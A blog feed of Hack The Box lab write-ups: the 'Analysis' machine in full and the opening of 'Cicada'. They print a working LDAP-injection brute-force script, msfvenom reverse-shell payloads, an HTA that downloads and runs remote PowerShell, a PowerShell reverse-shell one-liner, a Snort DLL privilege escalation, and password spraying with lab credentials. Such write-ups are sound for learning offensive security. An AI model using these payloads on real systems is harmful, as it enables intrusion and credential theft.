mgarrity blog RSS Feed

Hack The Box - Analysis

Sun, 15 Jun 2025 00:00:00 GMT

Analysis is a Windows machine running Active Directory. An internal subdomain hosts a webpage vulnerable to LDAP injection, which can be exploited to brute force LDAP attributes, revealing a password in the description field of the technician user. These credentials grant access to the analysis dashboard, where uploading an HTA file enables command execution and results in a shell. Additional credentials for the jdoe user can be discovered in a log file on the web server, allowing for a WinRM shell. Further enumeration shows that Snort is running on the system. By uploading a custom DLL to the dynamicpreprocessor directory, it’s possible to execute code with the privileges of the Snort service, in this case the administrator.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.250
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-12 15:18 EDT
Nmap scan report for analysis.htb (10.10.11.250)
Host is up (0.053s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
| http-server-header: 
|   Microsoft-HTTPAPI/2.0
|_  Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-12 18:30:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3306/tcp open  mysql         MySQL (unauthorized)
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -47m26s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-12T18:30:57
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.24 seconds

After adding analysis.htb and DC-ANALYSIS.analysis.htb to /etc/hosts, I visited the webpage running on port 80:

There wasn’t much to go off of on the webpage, so I used ffuf to enumerate subdomains and found the internal subdomain:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.250 -H "Host: FUZZ.analysis.htb"

<...snip...>

internal                [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 56ms]
:: Progress: [4989/4989] :: Job [1/1] :: 415 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

I added internal.analysis.htb to /etc/hosts and visited the page, which resulted in a 403:

Next, I enumerated subdirectories for internal.analysis.htb:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/FUZZ

<...snip...>

dashboard               [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 51ms]
employees               [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 67ms]
users                   [Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 61ms]
:: Progress: [4734/4734] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Attempting to visit /dashboard resulted in another 403:

Visiting both /employees and /users resulted in a 404:

Since the server was running IIS, the site was potentially using PHP, so I enumerated pages in /dashboard with the .php extension:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/dashboard/FUZZ.php

<...snip...>

Index                   [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 83ms]
details                 [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 61ms]
emergency               [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 73ms]
form                    [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 88ms]
index                   [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 63ms]
logout                  [Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 76ms]
tickets                 [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 48ms]
upload                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
:: Progress: [4734/4734] :: Job [1/1] :: 403 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

All of the pages were blank due to authentication being required, except for one. Visiting /dashboard/logout.php redirected to /employees/login.php:

I didn't have any credentials and SQL injection didn't seem to work on the form, so next I visited /users which showed a "missing parameter" message:

Fuzzing parameter names using ffuf revealed the name parameter:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://internal.analysis.htb/users/list.php?FUZZ=test -fs 17

<...snip...>

name                    [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 61ms]
:: Progress: [6453/6453] :: Job [1/1] :: 763 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

Visiting /users?name=test showed a table for listing various user information:

Using the wildcard character (*) listed one of the users:

The site was most likely pulling user information from LDAP, so I tested for LDAP injection with the following value:

technician)(givenName=technician

As shown above, the username was returned without an error (in this case, "CONTACT_" in the Username field would indicate an error), confirming the page was vulnerable to LDAP injection. Using the following Python script, I was able to brute force the values of LDAP fields:

#!/usr/bin/python3
import requests
import string
import sys

TARGET_HOST = "internal.analysis.htb"
BASE_URL = f"http://{TARGET_HOST}/users/list.php"
HEADERS = {"Host": TARGET_HOST}

ALPHABET = (
    string.ascii_letters +
    string.digits +
    ''.join(c for c in string.punctuation if c not in ("(", ")", "#", "&"))
)

def is_valid_character(username: str, attribute: str, test_value: str) -> bool:
    payload = f"{username})({attribute}={test_value}*"
    params = {"name": payload}
    response = requests.get(BASE_URL, headers=HEADERS, params=params)
    return "CONTACT_" not in response.text

def brute_force_attribute(username: str, attribute: str) -> str:
    value = ""
    while True:
        for char in ALPHABET:
            candidate = value + char
            sys.stdout.write(f"\r{attribute}: {candidate}")
            sys.stdout.flush()

            if is_valid_character(username, attribute, candidate):
                value = candidate
                break
        else:
            break

        if value.endswith("**"):
            break

    return value.rstrip("*")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <username> <ldap_field>")
        sys.exit(1)

    username_input = sys.argv[1]
    field_input = sys.argv[2]

    final_value = brute_force_attribute(username_input, field_input)
    print(f"\n[+] Final {field_input}: {final_value}")

The password for technician was stored in the user's description:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ python3 script.py technician description
description: 97NTtl*4QP96Bv**
[+] Final description: 97NTtl*4QP96Bv

I used the credentials to log in to the internal panel:

This provided access to the dashboard:

The tickets page contained submitted tickets by employees regarding various IT related issues:

The details for one of the tickets mentions an issue with HTA files:

The SOC report page allows users to upload files to be analyzed by the SOC:

So based on the fact that an HTA was already mentioned in one of the tickets, I used msfvenom to generate a malicious HTA to upload to the form:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f hta-psh > test.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7793 bytes

I started a listener with nc and uploaded test.hta. A message was shown saying that the file was not safe and I didn't receive a shell on the listener:

To attempt to bypass security restrictions, I wrote an HTA file that uses IEX to execute a PowerShell script containing a reverse shell one-liner, which is fetched from a local web server:

shell.hta

<script language="VBScript">
    Dim objShell
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.53:8000/reverse.ps1')", 0
    self.close
</script>

reverse.ps1

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.53',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

I started a Python web server and a listener with nc. Then, I uploaded shell.hta which bypassed security restrictions:

nc caught a shell as svc_web:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51555

PS C:\inetpub\internal\dashboard> whoami
analysis\svc_web

After enumerating the web server, I found credentials for the jdoe user within a log file:

PS C:\inetpub\logs\LogFiles\W3SVC2> ls

    R?pertoire?: C:\inetpub\logs\LogFiles\W3SVC2

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       12/06/2025     21:19        2607209 u_ncsa1.log                                                           

PS C:\inetpub\logs\LogFiles\W3SVC2> cat u_ncsa1.log
<...snip...>
127.0.0.1 - - [12/Jun/2025:21:16:25 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
<...snip...>

The creds were valid over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
WINRM       10.10.11.250    5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM       10.10.11.250    5985   DC-ANALYSIS      [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)

evil-winrm shell as jdoe:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'       
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> whoami
analysis\jdoe
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\jdoe\desktop> ls

    Directory: C:\Users\jdoe\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/12/2025   8:29 PM             34 user.txt

Further enumeration revealed that Snort was installed on the machine:

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/12/2023  10:01 AM                inetpub
d-----        11/5/2022   8:14 PM                PerfLogs
d-----         5/8/2023  10:20 AM                PHP
d-----         7/9/2023  10:54 AM                private
d-r---       11/18/2023   9:56 AM                Program Files
d-----         5/8/2023  10:11 AM                Program Files (x86)
d-----         7/9/2023  10:57 AM                Snort
d-r---        5/26/2023   2:20 PM                Users
d-----        1/10/2024   3:52 PM                Windows
-a----        6/12/2025   9:26 PM         294556 snortlog.txt

snortlog.txt was getting updated every two minutes, which indicated that Snort was actively running:

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
<...snip...>
-a----        6/12/2025   9:26 PM         294556 snortlog.txt

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
<...snip...>
-a----        6/12/2025   9:28 PM         294810 snortlog.txt

I confirmed this with get-process:

*Evil-WinRM* PS C:\> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
<...snip...>
    162      18    62664      46644               904   0 snort
<...snip...>

Snort supports dynamic modules, which are loaded as DLLs from a configured dynamicpreprocessor directory at startup. This can be exploited by placing a malicious DLL—such as one containing a reverse shell payload—into that directory. When Snort starts, it will automatically load and execute the DLL with the privileges of the Snort service, enabling arbitrary code execution.

To identify the location of this directory, I checked snort.conf:

*Evil-WinRM* PS C:\Snort\etc> ls

    Directory: C:\Snort\etc

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/20/2022   4:15 PM           3757 classification.config
-a----        4/20/2022   4:15 PM          23654 file_magic.conf
-a----        4/20/2022   4:15 PM          33339 gen-msg.map
-a----        4/20/2022   4:15 PM            687 reference.config
-a----         7/8/2023   9:34 PM          23094 snort.conf
-a----        4/20/2022   4:15 PM           2335 threshold.conf
-a----        4/20/2022   4:15 PM         160606 unicode.map

*Evil-WinRM* PS C:\Snort\etc> findstr dynamicpreprocessor snort.conf
dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor

Regular users have write access to this directory:

*Evil-WinRM* PS C:\Snort\lib> icacls snort_dynamicpreprocessor
snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
                          BUILTIN\Administrateurs:(I)(OI)(CI)(F)
                          BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                          BUILTIN\Utilisateurs:(I)(CI)(AD)
                          BUILTIN\Utilisateurs:(I)(CI)(WD)
                          CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

I generated a reverse shell DLL using msfvenom:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

I then started a listener with nc and uploaded the DLL:

*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> upload shell.dll
                                        
Info: Uploading /home/kali/Desktop/HTB/Analysis/shell.dll to C:\Snort\lib\snort_dynamicpreprocessor\shell.dll
                                        
Data: 12288 bytes of 12288 bytes copied
                                        
Info: Upload successful!

After about a minute, nc caught a shell as administrateur:

┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51554
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
analysis\administrateur

C:\Windows\system32>cd \users\administrateur\desktop
cd \users\administrateur\desktop

C:\Users\Administrateur\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0071-E237

 Directory of C:\Users\Administrateur\Desktop

01/10/2024  11:41 AM    <DIR>          .
01/10/2024  11:41 AM    <DIR>          ..
06/12/2025  08:29 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,131,143,680 bytes free

Hack The Box - Cicada

Sat, 07 Jun 2025 00:00:00 GMT

Cicada is a Windows machine running Active Directory with an open SMB share that contains a default password. Usernames can be enumerated by brute-forcing RIDs, which can then be used to run a password spray, resulting in valid credentials for the user michael.wrightson. This allows for authentication to the LDAP server to obtain AD info, leading to the discovery of another password stored in the description field of the david.orelious user. These credentials grant access to the DEV SMB share, which contains a PowerShell script that reveals the password for the emily.oscars user, a member of Backup Operators. Membership in this group can be leveraged to create a shadow copy of the C drive, providing access to the ntds.dit database and SYSTEM registry hive. These can then be used to extract user NTLM hashes, resulting in a shell as the administrator.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ nmap -sC -sV -Pn -oA nmap/output 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-05 12:46 EDT
Nmap scan report for 10.10.11.35
Host is up (0.045s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-05 22:05:19Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 5h19m06s
| smb2-time: 
|   date: 2025-06-05T22:06:09
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.60 seconds

I added cicada.htb and CICADA-DC.cicada.htb to /etc/hosts. Guest access was enabled on SMB, and the HR share was readable:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u 'a' -p '' --shares
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON                        Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL                          Logon server share

I used netexec to spider the shares:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u 'a' -p '' -M spider_plus                      
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]  OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV                             
SMB         10.10.11.35     445    CICADA-DC        HR              READ            
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON                        Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL                          Logon server share
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.10.11.35.json".
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] SMB Shares:           7 (ADMIN$, C$, DEV, HR, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] SMB Readable Shares:  2 (HR, IPC$)
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] Total folders found:  0
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] Total files found:    1
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] File size average:    1.24 KB
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] File size min:        1.24 KB
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] File size max:        1.24 KB

The HR share contained the following:

{
    "HR": {
        "Notice from HR.txt": {
            "atime_epoch": "2024-08-28 13:31:48",
            "ctime_epoch": "2024-03-14 08:29:03",
            "mtime_epoch": "2024-08-28 13:31:48",
            "size": "1.24 KB"
        }
    }
}

I added -o download_flag=true to the above netexec command to download the share.

Notice from HR.txt revealed a default password used for new hires:

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Guest access was restricted when using the --users option in netexec to enumerate users:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u 'a' -p '' --users
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)

However, I was able to enumerate usernames by using the --rid-brute option, which iterates through possible RID values appended to the domain SID; this process identifies valid SIDs and reveals their corresponding account names:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u 'a' -p '' --rid-brute
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Based on the SidTypeUser accounts from the output, I created a list of usernames:

john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

I used netexec to run a password spray, which resulted in a valid password for michael.wrightson:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE

With valid user credentials, I was able to authenticate to LDAP to get domain info with ldapsearch:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ ldapsearch -x -H ldap://10.10.11.35 -D "michael.wrightson@cicada.htb" -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "dc=cicada,dc=htb" > ldap_output

After looking through the output, I found a password in the description field of the david.orelious user:

<...snip...>
# David Orelious, Users, cicada.htb
dn: CN=David Orelious,CN=Users,DC=cicada,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: David Orelious
sn: Orelious
description: Just in case I forget my password is aRt$Lp#7t*VQ!3
<...snip...>

These credentials provided access to the DEV share:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
